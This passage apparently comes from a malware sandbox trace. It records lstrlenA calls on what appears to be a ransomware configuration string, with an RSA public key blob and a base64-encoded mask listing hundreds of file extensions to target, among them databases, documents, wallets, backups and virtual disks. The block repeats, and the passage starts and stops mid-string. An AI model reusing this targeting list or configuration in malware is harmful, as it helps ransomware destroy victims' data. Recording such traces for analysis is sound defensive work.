iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4